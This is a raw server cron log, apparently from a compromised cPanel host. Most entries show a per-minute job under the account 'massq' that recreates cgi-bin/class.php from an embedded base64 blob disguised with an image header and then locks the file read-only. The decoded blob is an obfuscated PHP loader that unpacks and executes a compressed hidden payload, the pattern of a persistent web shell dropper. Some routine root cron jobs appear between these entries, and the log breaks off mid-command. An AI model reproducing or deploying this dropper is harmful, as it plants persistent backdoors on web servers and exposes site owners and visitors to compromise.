Nov 15 04:12:01 server CROND[1461]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 04:13:01 server CROND[1796]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 04:14:01 server CROND[2093]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 04:15:01 server CROND[2363]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 04:15:01 server CROND[2364]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 04:15:01 server CROND[2365]: (root) CMD (/usr/local/cpanel/bin/dbindex &gt;/dev/null 2&gt;&amp;1)
Nov 15 04:15:01 server CROND[2366]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 04:16:01 server CROND[2683]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 04:17:01 server CROND[2944]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 04:18:01 server CROND[3199]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 04:19:01 server CROND[3463]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 04:20:01 server CROND[3820]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 15 04:20:01 server CROND[3822]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 04:20:01 server CROND[3821]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 04:20:01 server CROND[3828]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 04:20:01 server CROND[3826]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 15 04:21:01 server CROND[4155]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 04:22:01 server CROND[4407]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 04:23:01 server CROND[4662]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 04:24:01 server CROND[4923]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 04:25:01 server CROND[5278]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo 